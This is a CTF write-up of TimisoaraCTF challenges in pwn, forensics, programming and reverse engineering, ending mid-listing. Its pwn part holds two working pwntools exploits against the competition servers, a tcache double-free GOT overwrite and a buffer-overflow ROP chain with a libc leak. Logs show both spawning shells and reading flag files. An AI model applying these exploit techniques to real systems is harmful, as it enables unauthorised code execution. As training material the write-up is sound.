Team Manager (300pts)
I found the team manager service used for Timisoara CTF. Do you think it is secure?
nc 89.38.208.144 11114
case 2u:
printf("Enter player id (1-4) ");
fflush(_bss_start);
scanf("%d", &id);
if ( id > 0 && id <= 4 )
{
if ( players[id] )
free(players[id]);
}
Do not check the Double Free bug here.
So, I can use tchace dup.
So I assigned the address of the GOT side to the players global variable.
case 3u:
printf("Enter player id (1-4) ");
fflush(_bss_start);
scanf("%d", &id);
if ( id > 0 && id <= 4 )
{
if ( players[id] )
{
getchar();
printf("Player's name: ");
fflush(_bss_start);
gets((players[id] + 6));
printf("Player's skill at reversing and exploitation: ");
fflush(_bss_start);
scanf("%d", players[id]);
printf("Player's skill at web exploit: ");
fflush(_bss_start);
scanf("%d", players[id] + 2);
printf("Player's skill at crypto: ");
fflush(_bss_start);
scanf("%d", players[id] + 1);
printf("Player's skill at forensics: ");
fflush(_bss_start);
scanf("%d", players[id] + 3);
printf("Extra note/comment: ");
fflush(_bss_start);
getchar();
gets(*(players[id] + 2));
puts("\n");
}
In this part, a heap overflow occurs.
So you can fill the got section with whatever you want.
Exploit
As you debug, you will see that you pass the address 0x602090 as the argument to the free function.
Therefore, we cover the address of system function in GOT of free function.
Then enter the string “/bin/sh” at 0x602090.
Then run the free function to capture the shell.
from pwn import *
#context.log_level = "debug"
e = ELF("./timctf_manager")
libc = ELF("./libc-2.27.so")
r = remote("89.38.208.144",11114)
#r = process("./timctf_manager")
def add(index,name,rev,web,crypto,forensic,comment):
r.sendline("1")
r.sendlineafter("(1-4) ",str(index))
r.sendlineafter(": ",name)
r.sendlineafter(": ",str(rev))
r.sendlineafter(": ",str(web))
r.sendlineafter(": ",str(crypto))
r.sendlineafter(": ",str(forensic))
r.sendlineafter(": ",comment)
def remove(index):
r.sendline("2")
r.sendlineafter("(1-4) ",str(index))
def edit(index,name,rev,web,crypto,forensic,comment):
r.sendline("3")
r.sendlineafter("(1-4) ",str(index))
r.sendlineafter(": ",name)
r.sendlineafter(": ",str(rev))
r.sendlineafter(": ",str(web))
r.sendlineafter(": ",str(crypto))
r.sendlineafter(": ",str(forensic))
r.sendlineafter(": ",comment)
def player(index):
r.sendline("4")
r.sendlineafter("(1-4) ",str(index))
players = 0x6020a0
got = e.got["free"]
log.info("got : " + hex(got))
# input : index,name,rev,web,crypto,forensic,comment
add(1,"\x00","+","+","+","+","AAAA")
remove(1)
remove(1)
add(2,"\x00",(players+0x8)-0x18,"+","+","+","BBBB")
add(3,"AAAA","+","+","+","+","CCCC")
add(4,p32(got-0x20),"+","+","+","+","DDDD")
player(1)
for i in range(0,1):
r.recvuntil("\x7f")
leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base = leak - libc.symbols["free"] #0x408750
system = libc_base + libc.symbols["system"]
log.info("leak : " + hex(leak)) #600
log.info("libc_base : " + hex(libc_base))
payload = ""
payload += p64(0)
payload += p64(libc_base + libc.symbols["system"]) #free@got
payload += p64(libc_base + libc.symbols["putchar"])
payload += p64(libc_base + libc.symbols["puts"])
payload += p64(0)
payload += p64(libc_base + libc.symbols["printf"])
payload += p64(libc_base + libc.symbols["getchar"])
payload += p64(libc_base + libc.symbols["gets"])
payload += p64(libc_base + libc.symbols["malloc"])
payload += p64(libc_base + libc.symbols["fflush"])
payload += p64(libc_base + libc.symbols["scanf"])
payload += p64(libc_base + libc.symbols["fwrite"])
payload += p64(0) * 2
payload += p64(libc_base + 0x3ec760)
payload += p64(0)
payload += "/bin/sh\x00" #0x602090
pause()
edit(1,payload,"+","+","+","+","B")
#remove(4)
r.interactive()
juntae@ubuntu:~/ctf/timisoara/manager$ p ex.py
[*] '/home/juntae/ctf/timisoara/manager/timctf_manager'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/juntae/ctf/timisoara/manager/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 89.38.208.144 on port 11114: Done
[*] got : 0x602018
[*] leak : 0x7fca44592950
[*] libc_base : 0x7fca444fb000
[*] Paused (press any to continue)
[*] Switching to interactive mode
1: Add player
2: Remove player
3: Edit player
4: View player
5: View team
0: Exit
$ 2
Enter player id (1-4) $ 4
$ ls
flag.txt
start.sh
timctf_manager
$ cat flag.txt
TIMCTF{Heap_overfl0ws_are_really_B4D}$
[*] Interrupted
[*] Closed connection to 89.38.208.144 port 11114
FLAG : TIMCTF{Heap_overfl0ws_are_really_B4D}
Flag manager service (400pts)
Our spies found this flag manager service running on the ctf server. It needs a password tho, but I am sure you can handle it.
nc 89.38.208.144 11115 - back online
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char buf; // [rsp+0h] [rbp-90h]
char format; // [rsp+40h] [rbp-50h]
int fd; // [rsp+8Ch] [rbp-4h]
strcpy(file, "flag.txt");
filesize = 64;
printf("Enter your name: ", argv, envp);
fflush(stdout);
gets(&format);
printf("Hello, ");
printf(&format);
printf("\nEnter password please: ");
fflush(stdout);
gets(pass);
fd = open(file, 0);
if ( fd == -1 )
{
puts("Unable to open file!\n");
fflush(stdout);
result = 0;
}
else
{
read(fd, &buf, filesize);
if ( !strcmp(pass, good_pass) )
printf("Here is your flag, %s\n", &buf);
else
puts("NOOOOOOOOO!\n");
fflush(stdout);
result = 0;
}
return result;
}
Buffer Overflow and Format String Bugs Occur.
So, I can catch RIP.
Then, do ROP ( bypass DEP) can get shell.
Exploit
oneshot gadget
from pwn import *
#context.log_level = "debug"
e = ELF("./flag_manager01")
libc = e.libc
r = remote("89.38.208.144",11115)
#r = process("./flag_manager01")
pr = 0x4008a3
payload = ""
payload += "A" * 0x58
payload += p64(pr)
payload += p64(e.got["puts"])
payload += p64(e.plt["puts"])
payload += p64(e.symbols["main"])
r.sendlineafter("name: ",payload)
r.sendlineafter("please: ","1234")
libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00") - libc.symbols["puts"]
oneshot = libc_base + 0x10a38c
log.info("libc_base : " + hex(libc_base))
payload = ""
payload += "A" * 0x58
payload += p64(oneshot)
r.sendlineafter("name: ",payload)
r.sendlineafter("please: ","1234")
r.interactive()
juntae@ubuntu:~/ctf/timisoara/flag$ c
juntae@ubuntu:~/ctf/timisoara/flag$ p ex.py
[*] '/home/juntae/ctf/timisoara/flag/flag_manager01'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 89.38.208.144 on port 11115: Done
[*] libc_base : 0x7ff5c611e000
[*] Switching to interactive mode
NOOOOOOOOO!
$ ls
fddup.so
flag_manager_nohook
flag.txt
start.sh
$ cat flag.txt
TIMCTF{d3v_fd_i5_sn3aky_backd00r}$
[*] Interrupted
[*] Closed connection to 89.38.208.144 port 11115
FLAG : TIMCTF{d3v_fd_i5_sn3aky_backd00r}
Forensics
Deleted file (100pts)
Help! I accidentally deleted a photo! Can you recover it for me please?
http://timisoaractf.ro/10MB.img
Non-standard flag format
just extract file or another solution is mount this image and show directory. PNG was hiding.
FLAG : flag{I_s33_the_uns33n}
Strange image (100pts)
I received this “image” in my mailbox today, but I can not open it, as if it was corrupted or something. Can you fix it and tell me if it has any hidden meaning?
Note: if you think you “fixed” it and it does not open, try using a few different photo viewers.
Hint! When you ‘fix’ your image make sure you try multiple photo viewers as some might not want to display it
f = open('john.png','rb')
data = f.read()
f.close()
go = ""
for i in range(len(data)):
go += chr(ord(data[i])^122)
f = open('copy.png','wb')
f.write(go)
f.close()
file hex values are encrypted
i use strings to get looks like flag - HATZ-fL4G: WLPFWI~Eudy3bm3kqxoh$
use caesar cipher to solve it
enc = 'WLPFWI~Eudy3bm3kqxoh$'
print ''.join(chr(ord(enc[i]) - 3) for i in range(len(enc)))
FLAG : TIMCTF{Brav0_j0hnule!}
Tri-color QR (200pts)
I stumbled upon this strange QR code which seems to be in a new format. Can you help me decode it?
"""
(pink yellow red - black or white, blue hyung green - white or black)
(pink blue red - black or white, yellow hyung green - white or black)
(pink blue hyung - black or white, yellow red green - black or white)
"""
"""
no color - TIMCTF{
green - Th1s_is_A
blue - _4_part_
extract - flag}
"""
# 0 0 0 - black
# 255 255 255 - white
# 0 0 255 - blue
# 255 0 255 - pink
# 255 255 0 - yellow
# 0 255 255 - hyung
# 255 0 0 - red
# 0 255 0 - green
k = (0,0,0) # blakc
w = (255,255,255) # white
pink = (255,0,255)
blue = (0,0,255)
yellow = (255,255,0)
hyung = (0,255,255)
red = (255,0,0)
green = (0,255,0)
img = Image.open('tri-color.png')
img = img.convert('RGB')
img_pix = img.load()
r,g,b = img_pix[0,0]
#r,g,b = img.getpixel((i,j))
for i in range(img.width):
for j in range(img.height):
if img_pix[i,j] == pink:
img_pix[i,j] = w
elif img_pix[i,j] == blue:
img_pix[i,j] = w
elif img_pix[i,j] == yellow:
img_pix[i,j] = k
elif img_pix[i,j] == hyung:
img_pix[i,j] = w
elif img_pix[i,j] == red:
img_pix[i,j] = k
elif img_pix[i,j] == green:
img_pix[i,j] = k
img.save('solve.png')
The flags come out divided. extract this qr image file too.
FLAG : TIMCTF{Th1s_is_A_4_part_flag}
Entangled (300pts)
Something isn’t clear right here…
http://timisoaractf.ro/Entangled.img
The .img file is given. if you file
open free_fortnite_H4CKZ_run_me with IDA and look at the graph view, there is a QR code. You can recognize it. and get password Cool_pass02
Now dncrypted flag.enc with openssl
openssl aes-128-cbc -in flag.enc -out flag -d -k Cool_pass02
we can get flag file. this file type is PNG.
FLAG : TIMCTF{C0de_oR_DAT4_tHe_uLtImAtE_qUesti0n}
Misc
Read the rules (1pts)
Have you read them?
flag in the Short description.
FLAG : TIMCTF{sometext}
Programming
Subset sum (200pts)
You are given a number n and an array. Find those elements from the array that sum to the given number.
Number of tests: 10 Size of the array: 4 - 40 (+4 per level) Input data type: 64 bit unsigned ints Input formatting: 2 lines of text, a line containing n and a line containg the array. Output formatting: the size of the subset and the elements of the subset, separated by a space Time limit: 3s
nc 89.38.208.143 22021
- I thought of using a Meet in the Middle.
- But I used Trick.
from pwn import *
p = remote("89.38.208.143",22021)
for i in range(1,11):
print p.recvuntil("/10\n"),
n = int(p.recvline()[:-1])
temp_arr = p.recvline()[:-1]
exec("arr = ["+ temp_arr.replace(' ',',') +"]")
length = len(arr)
N= length
S = n
nums = arr
answer = "1 "+str(n)
print n
print arr
print answer,"\n\n"
p.sendline(answer)
p.interactive()
circler@Circler:/mnt/c/Users/Circler/Documents/ctf/timisoara$ python last.py
[+] Opening connection to 89.38.208.143 on port 22021: Done
I will give you an array. Find me the elements that sum to the given number
Test #1/10
886292542176
[270855512863, 138184617995, 345953397248, 402154526933]
1 886292542176
OK!
Test #2/10
731715580623
[43163442928, 469954144345, 5435257261, 9766270480, 200043173538, 255981247529, 420300402547, 222761446148]
1 731715580623
OK!
Test #3/10
1597618745872
[543263880939, 116485754333, 548124400896, 376592401134, 206476763989, 402294544529, 116272110186, 45644102154, 458401125094, 421506943181, 167181589742, 406220537122]
1 1597618745872
.
.
.
.
.
.
.
.
.
OK!
Test #9/10
5254545483621
[62104530613, 437252304722, 541275299117, 497852959064, 407315398134, 83838706323, 282774611877, 393225375205, 201824291289, 398707071239, 101569864581, 450422715752, 147564550876, 104680243266, 232065113352, 244637968397, 224244269686, 260846266591, 223312260455, 137614733585, 191959188846, 433233526485, 85375601324, 8337955352, 153487987350, 499975959804, 510533362081, 384059199435, 415942691154, 179504015328, 22738282436, 299104817667, 184896416718, 480768435343, 111130351529, 415558208715]
1 5254545483621
OK!
Test #10/10
4973169628790
[43904986332, 139193993172, 98420770138, 384179899376, 437042565118, 290188720014, 398995810338, 446808123987, 416859717806, 107432594929, 307718414222, 249727113524, 340012438295, 118330651094, 513137938676, 383988188892, 211696119478, 276733672617, 451611819850, 190900507459, 387483424834, 487260229850, 297558816385, 67518231930, 339531703993, 327004473875, 309580380704, 410160297239, 9028428723, 542168055503, 157872352428, 123340279300, 380677124259, 150818592688, 363500356850, 98634320981, 124979100229, 91052683464, 135981929186, 335324640254]
1 4973169628790
[*] Switching to interactive mode
OK!
Congrats: TIMCTF{W3_like_t0_m33t_in_tHe_m1ddle}
[*] Got EOF while reading in interactive
$
[*] Closed connection to 89.38.208.143 port 22021
[*] Got EOF while sending in interactive
FLAG : FLAG : TIMCTF{W3_like_t0_m33t_in_tHe_m1ddle}
Linear recurrence (200pts)
You are given two numbers: N and k and a linear recurrence. The first N terms are given, along with their coefficients in this order: cn * an, cn - 1 * an - 1, …, c1 * a1
For example, consider the Fibonacci sequence: a3 = 1*a2 + 1 * a1, where a2 and a1 are both equal to 1. In this case the input will be 1 1 1 1
For the string a4 = 3 * a3 + 5 * a2 + 7 * a1 with a3 = 2, a2 = 1 and a1 = 4 the input will look like 3 2 5 1 7 4
Note that all strings start from index 1 N < k < 100.000.000 Number of tests: 10 Size of the input: 2 - 4 (4 - 8 including coefficients) Input data type: 64 bit unsigned ints Input formatting: 2 lines of text, a line containing N,k and a line containg the sequence. Output formatting: the kth term modulo 666013 Time limit: 1s
nc 89.38.208.143 22022
- Just Coding
- I use C and Python
- Using C to solve
- Using Python to connect the NC server
from pwn import *
coefficient = []
arr = []
temp_length = 0
p = remote("89.38.208.143", 22022)
second_p = process("array")
for _ in range(10):
print p.recvline(),
print p.recvline(),
N,K = p.recvline().split(' ')
N = int(N)
K = int(K)
exec("temp_arr = ["+p.recvline()[:-1].replace(' ',',')+"]")
temp_length = len(temp_arr)/2
coefficient = []
arr = []
for i in range(temp_length):
coefficient.append(temp_arr[i*2])
arr.append(temp_arr[i*2+1])
print "N=",N,": K=",K
print temp_arr
print "coefficient =",coefficient
print "arr =",arr
arr.reverse()
second_p.sendline(str(arr)[1:-1].replace(',',''))
second_p.sendline(str(coefficient)[1:-1].replace(',',''))
second_p.sendline(str(K))
A = second_p.recvline()
print "answer=",A,"\n"
p.sendline(A)
p.interactive()
#include <stdio.h>
typedef unsigned long long int ulli;
ulli data[100000001];
ulli arr[122];
ulli coefficient[1222];
int main(void){
ulli a;
// Test #1/10:
for(int i=0;i<2;++i){
scanf("%lld",&data[i]);
}
for(int i=0;i<2;++i){
scanf("%lld",&coefficient[i]);
}
scanf("%lld",&a);
for (ulli i = 2; i < a; ++i){
data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2])%666013;
}
printf("%lld\n", data[a-1]);
// Test #2/10:
for(int i=0;i<2;++i){
scanf("%lld",&data[i]);
}
for(int i=0;i<2;++i){
scanf("%lld",&coefficient[i]);
}
scanf("%lld",&a);
for (ulli i = 2; i < a; ++i){
data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2])%666013;
}
printf("%lld\n", data[a-1]);
// Test #3/10:
for(int i=0;i<3;++i){
scanf("%lld",&data[i]);
}
for(int i=0;i<3;++i){
scanf("%lld",&coefficient[i]);
}
scanf("%lld",&a);
for (ulli i = 3; i < a; ++i){
data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3])%666013;
}
printf("%lld\n", data[a-1]);
// Test #4/10:
for(int i=0;i<3;++i){
scanf("%lld",&data[i]);
}
for(int i=0;i<3;++i){
scanf("%lld",&coefficient[i]);
}
scanf("%lld",&a);
for (ulli i = 3; i < a; ++i)
{
data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3])%666013;
}
printf("%lld\n", data[a-1]);
// Test #5/10:
for(int i=0;i<3;++i){
scanf("%lld",&data[i]);
}
for(int i=0;i<3;++i){
scanf("%lld",&coefficient[i]);
}
scanf("%lld",&a);
for (ulli i = 3; i < a; ++i){
data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3])%666013;
}
printf("%lld\n", data[a-1]);
// Test #6/10:
for(int i=0;i<4;++i){
scanf("%lld",&data[i]);
}
for(int i=0;i<4;++i){
scanf("%lld",&coefficient[i]);
}
scanf("%lld",&a);
for (ulli i = 4; i < a; ++i){
data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
}
printf("%lld\n", data[a-1]);
// Test #7/10:
for(int i=0;i<4;++i){
scanf("%lld",&data[i]);
}
for(int i=0;i<4;++i){
scanf("%lld",&coefficient[i]);
}
scanf("%lld",&a);
for (ulli i = 4; i < a; ++i){
data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
}
printf("%lld\n", data[a-1]);
// Test #8/10:
for(int i=0;i<4;++i){
scanf("%lld",&data[i]);
}
for(int i=0;i<4;++i){
scanf("%lld",&coefficient[i]);
}
scanf("%lld",&a);
for (ulli i = 4; i < a; ++i){
data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
}
printf("%lld\n", data[a-1]);
// Test #9/10:
for(int i=0;i<4;++i){
scanf("%lld",&data[i]);
}
for(int i=0;i<4;++i){
scanf("%lld",&coefficient[i]);
}
scanf("%lld",&a);
for (ulli i = 4; i < a; ++i){
data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
}
printf("%lld\n", data[a-1]);
// Test #10/10:
for(int i=0;i<4;++i){
scanf("%lld",&data[i]);
}
for(int i=0;i<4;++i){
scanf("%lld",&coefficient[i]);
}
scanf("%lld",&a);
for (ulli i = 4; i < a; ++i){
data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
}
printf("%lld\n", data[a-1]);
return 0;
}
circler@Circler:/mnt/c/Users/Circler/Documents/ctf/timisoara/programming2$ g++ array.cpp -o array
circler@Circler:/mnt/c/Users/Circler/Documents/ctf/timisoara/programming2$ python payload.py
[+] Opening connection to 89.38.208.143 on port 22022: Done
[!] Could not find executable 'array' in $PATH, using './array' instead
[+] Starting local process './array': pid 150
I will give you N, the size of the recurrence, k, the term you need to compute and then the first N numbers with their coefficients in this order: cn * an, cn-1 * an-1...
Test #1/10:
N= 2 : K= 63501
[7, 8, 6, 4]
coefficient = [7, 6]
arr = [8, 4]
answer= 530525
OK!
Test #2/10:
N= 2 : K= 12599
[16, 18, 19, 24]
coefficient = [16, 19]
arr = [18, 24]
answer= 171579
OK!
Test #3/10:
N= 3 : K= 462548
[20, 11, 7, 37, 36, 32]
coefficient = [20, 7, 36]
arr = [11, 37, 32]
answer= 231605
.
.
.
.
.
.
.
.
.
.
.
OK!
Test #9/10:
N= 4 : K= 10031110
[96, 87, 85, 123, 24, 109, 23, 65]
coefficient = [96, 85, 24, 23]
arr = [87, 123, 109, 65]
answer= 156974
OK!
Test #10/10:
N= 4 : K= 14138374
[6, 116, 11, 5, 50, 32, 19, 63]
coefficient = [6, 11, 50, 19]
arr = [116, 5, 32, 63]
answer= 381958
[*] Switching to interactive mode
OK!
TIMCTF{Matrix_multiplication_OP_please_n3rf}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Process './array' stopped with exit code 0 (pid 150)
[*] Closed connection to 89.38.208.143 port 22022
FLAG : FLAG : TIMCTF{Matrix_multiplication_OP_please_n3rf}
Reverse Engineering
Baby Rev (50pts)
This program asks me for the flag, but i don’t know it!
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax
printf("Enter password: ", argv, envp);
fgets(password, 64, _bss_start);
while ( 1 )
{
v3 = strlen(password);
if ( isprint(password[v3 - 1]) )
break;
password[strlen(password) - 1] = 0;
}
if ( !strcmp(password, flag) )
puts("Congratulations, that is correct!");
else
puts("NOOOOOOOOOOOOOOOO");
return 0;
}
just check input with flag. string stored in flag is TIMCTF{Wh0_know5_a5m_kn0ws_R3V}
FLAG : TIMCTF{Wh0_know5_a5m_kn0ws_R3V}
Easy Rev (75pts)
Like the last one, but harder
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int i; // [rsp+Ch] [rbp-14h]
printf("Enter password: ", argv, envp);
scanf("%s", password);
if ( strlen(password) <= 0x40 )
{
if ( strlen(password) > 7 )
{
for ( i = 0; i < strlen(password); ++i )
{
if ( password[i] > 96 && password[i] <= 122 )
password[i] = (password[i] - 84) % 26 + 97;
}
if ( !strcmp(password, flag) )
puts("Congratulations, that is correct!");
else
puts("NOOOOOOOOOOOOOOOO");
result = 0;
}
else
{
puts("Error: password too short!");
result = 0;
}
}
else
{
puts("Error: password too long!");
result = 0;
}
return result;
}
this challenge check the password. bruteforce brought us the right price.
flag = ''
table = 'TIMCTF{ebgngrq13synt}'
for i in range(len(table)):
if ord(table[i]) > 96 and ord(table[i]) <= 122:
for j in range(96,123):
if ord(table[i]) == (j - 84) % 26 + 97:
flag += chr(j)
break
else:
flag += table[i]
print flag
FLAG : TIMCTF{rotated13flag}
Boz Packer (150pts)
This executable is packed using the new and imporved BOZ technology. It features strong antidebug checks
Required library: openssl - http://timisoaractf.ro/libcrypto-1_1-x64.dll
patch and find “Enter password: “ string
decrypt all values stored in md5.
FLAG : TIMCTF{BOZ_as_s33n_in_ecsc_upx_chall}
Math (150pts)
This executable is doing MATH. Everyone hates that so it must be hard to reverse
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
unsigned __int8 v4; // [rsp+2h] [rbp-2Eh]
char v5; // [rsp+3h] [rbp-2Dh]
int v6; // [rsp+4h] [rbp-2Ch]
int v7; // [rsp+8h] [rbp-28h]
int i; // [rsp+Ch] [rbp-24h]
signed int j; // [rsp+10h] [rbp-20h]
signed int k; // [rsp+14h] [rbp-1Ch]
signed int l; // [rsp+18h] [rbp-18h]
int m; // [rsp+1Ch] [rbp-14h]
printf("Enter password: ", argv, envp);
scanf("%s", plaintext);
if ( strlen(plaintext) <= 0x100 )
{
v7 = 0;
v5 = 0;
for ( i = 0; i < strlen(plaintext); i += 3 )
{
v6 = key ^ (plaintext[i + 2] | ((plaintext[i + 1] | (plaintext[i] << 8)) << 8));
for ( j = 0; j <= 2; ++j )
{
if ( !plaintext[i + j] )
v5 = 1;
}
for ( k = 3; k >= 0; --k )
{
v4 = 0;
for ( l = 5; l >= 0; --l )
{
if ( v6 & (1 << (6 * k + l)) )
v4 |= 1 << l;
}
if ( v4 )
{
ciphertext[v7] = base64[v4];
}
else if ( v5 )
{
ciphertext[v7] = 61;
}
else
{
ciphertext[v7] = 65;
}
++v7;
}
}
for ( m = 0; flag[m]; ++m )
{
if ( flag[m] != ciphertext[m] )
{
puts(no);
return 0;
}
}
puts(yes);
result = 0;
}
else
{
puts("Error: password too long!");
result = 0;
}
return result;
}
do reverse math
import base64
import struct
cip = "jveimeqpofewqY3chceAr+G6tPqKiM27u/CLhcbX7MPv"
cip = base64.b64decode(cip)
key = 14335727
flag = ''
for i in range(0,len(cip),3):
a = struct.unpack('<i',cip[i:i+3][::-1] + "\x00")[0] ^ key
flag += hex(a)[2:].decode('hex')
print flag
i did Bruteforce attack three digits. I guess first word.
# TIMCTF{I_s33_you_UnDeRsTaNd_x86}
import gdb
table = "_1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz}"
go_table = []
for n in table:
for m in table:
for b in table:
go_table.append(n+m)
payload = 'TIMCTF{I_' # 3byte
for i in range(len(go_table)):
gdb.execute('file math',to_string=True)
gdb.execute('b*main+561',to_string=True) # 0x55555555494b
gdb.execute('r <<< ' + '"' + payload + go_table[i] + '"',to_string=True)
d = gdb.execute('x/s $rax',to_string=True).split(' ')[1].replace('\n','').replace('"','').replace('<ciphertext>:\t','')
print(payload + go_table[i] + " : " + d)
if d == "jveimeqpofewqY3chceAr+G6tPqKiM27u/CLhcb":
print('FLAG' + ' : ' + payload + go_table[i])
break
gdb.execute('q',to_string=True)
FLAG : TIMCTF{I_s33_you_UnDeRsTaNd_x86}
Pipes (200pts)
Description : Someone said this program likes to smoke. Alot. See what’s inside
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
bool v4; // al
unsigned __int8 buf; // [rsp+7h] [rbp-59h]
int v6; // [rsp+8h] [rbp-58h]
int j; // [rsp+Ch] [rbp-54h]
int i; // [rsp+10h] [rbp-50h]
__pid_t pid; // [rsp+14h] [rbp-4Ch]
char *s1; // [rsp+18h] [rbp-48h]
__int64 v11; // [rsp+20h] [rbp-40h]
__int64 v12; // [rsp+28h] [rbp-38h]
__int64 v13; // [rsp+30h] [rbp-30h]
__int64 v14; // [rsp+38h] [rbp-28h]
__int64 v15; // [rsp+40h] [rbp-20h]
__int16 v16; // [rsp+48h] [rbp-18h]
unsigned __int64 v17; // [rsp+58h] [rbp-8h]
v17 = __readfsqword(0x28u);
v11 = 7142820555239287888LL;
v12 = 8462115404900429676LL;
v13 = 7451053173976080498LL;
v14 = 7953753264878285413LL;
v15 = 2387226065748172907LL;
v16 = 10;
if ( ptrace(0, 0LL, 1LL, 0LL) == -1 )
{
std::operator<<<std::char_traits<char>>(&_bss_start, &v11);
result = 255;
}
else
{
std::operator<<<std::char_traits<char>>(&_bss_start, "Enter password: \n");
std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &input);
if ( pipe(pipe_1) == -1 )
{
std::operator<<<std::char_traits<char>>(&_bss_start, "Failed creating pipe!\n");
result = 0;
}
else if ( pipe(pipe_2) == -1 )
{
std::operator<<<std::char_traits<char>>(&_bss_start, "Failed creating pipe!\n");
result = 0;
}
else
{
pid = fork();
if ( pid == -1 )
{
std::operator<<<std::char_traits<char>>(&_bss_start, "Fork failed!\n");
result = 0;
}
else if ( pid )
{
s1 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&input);
v4 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(&input) != 48
|| strncmp(s1, "TIMCTF{", 7uLL)
|| s1[47] != 125;
if ( v4 )
{
std::operator<<<std::char_traits<char>>(&_bss_start, "NOOOOOOOOOOO\n");
result = 0;
}
else
{
for ( i = 7; i <= 46; ++i )
{
write(dword_202324, &s1[i], 1uLL);
if ( read(pipe_2[0], &v6, 4uLL) <= 0 )
{
std::operator<<<std::char_traits<char>>(&_bss_start, "P: Read failed!\n");
return 0;
}
if ( flag[i - 7] != v6 )
{
std::operator<<<std::char_traits<char>>(&_bss_start, "NOOOOOOOOOOO\n");
return 0;
}
}
std::operator<<<std::char_traits<char>>(&_bss_start, "Yay, you got the flag!\n");
close(pipe_1[0]);
close(dword_202324);
close(pipe_2[0]);
close(fd);
waitpid(pid, 0LL, 1);
result = 0;
}
}
else
{
for ( j = 0; j <= 39; ++j )
{
buf = 0;
if ( read(pipe_1[0], &buf, 1uLL) <= 0 )
{
std::operator<<<std::char_traits<char>>(&_bss_start, "C: Read failed!\n");
return 0;
}
buf += 96;
rol(&buf, 2);
buf ^= 0x7Fu;
buf = ~buf;
v6 = 237 * buf;
write(fd, &v6, 4uLL);
}
result = 0;
}
}
}
return result;
}
compare the flag characters
lea rax, flag
mov edx, [rdx+rax]
mov eax, [rbp+compare]
cmp edx, eax
flag = [0x000035B2, 0x0000B39A, 0x000074A6, 0x0000AD1F,
0x0000BEB6, 0x0000BEB6, 0x00008817, 0x000074A6,
0x00008F7F, 0x0000B0D3, 0x0000BBEF, 0x000074A6,
0x0000B487, 0x00009A9B, 0x00003D1A, 0x00008BCB,
0x000074A6, 0x00009A9B, 0x00008F7F, 0x000074A6,
0x0000C357, 0x000096E7, 0x00008BCB, 0x0000BBEF,
0x00008BCB, 0x000074A6, 0x00009A9B, 0x0000BFA3,
0x000074A6, 0x000035B2, 0x0000B39A, 0x000074A6,
0x0000B487, 0x0000232E, 0x0000B487, 0x0000145E,
0x0000CE73, 0x0000145E, 0x00008BCB, 0x000010AA]
set 48 characters with TIMCTF{…}
I brought the rax value before comparing it with the flag. and bring each letter.
FLAG : TIMCTF{N0_n33d_for_piPe_if_there_is_N0_pIpEwEeD}
Strange jump (250pts)
This application likes to jump!
I found actual_decrypt function!
unsigned __int64 actual_decrypt(void)
{
size_t v0; // rax
size_t v1; // rbx
unsigned __int8 v3; // [rsp+Ah] [rbp-216h]
char v4; // [rsp+Bh] [rbp-215h]
int v5; // [rsp+Ch] [rbp-214h]
int v6; // [rsp+10h] [rbp-210h]
signed int i; // [rsp+14h] [rbp-20Ch]
signed int j; // [rsp+18h] [rbp-208h]
signed int k; // [rsp+1Ch] [rbp-204h]
signed int l; // [rsp+20h] [rbp-200h]
int m; // [rsp+24h] [rbp-1FCh]
char v12[8]; // [rsp+30h] [rbp-1F0h]
char v13[8]; // [rsp+50h] [rbp-1D0h]
char v14[8]; // [rsp+70h] [rbp-1B0h]
__int64 v15; // [rsp+B0h] [rbp-170h]
__int64 v16; // [rsp+B8h] [rbp-168h]
__int64 v17; // [rsp+C0h] [rbp-160h]
__int64 v18; // [rsp+C8h] [rbp-158h]
__int64 v19; // [rsp+D0h] [rbp-150h]
__int64 v20; // [rsp+D8h] [rbp-148h]
__int64 v21; // [rsp+E0h] [rbp-140h]
__int64 v22; // [rsp+E8h] [rbp-138h]
char v23; // [rsp+F0h] [rbp-130h]
char v24[264]; // [rsp+100h] [rbp-120h]
unsigned __int64 v25; // [rsp+208h] [rbp-18h]
v25 = __readfsqword(0x28u);
memset(v24, 0, 0x100uLL);
while ( 1 )
{
v0 = strlen(byte_203302);
if ( isprint(byte_203302[v0 - 1]) )
break;
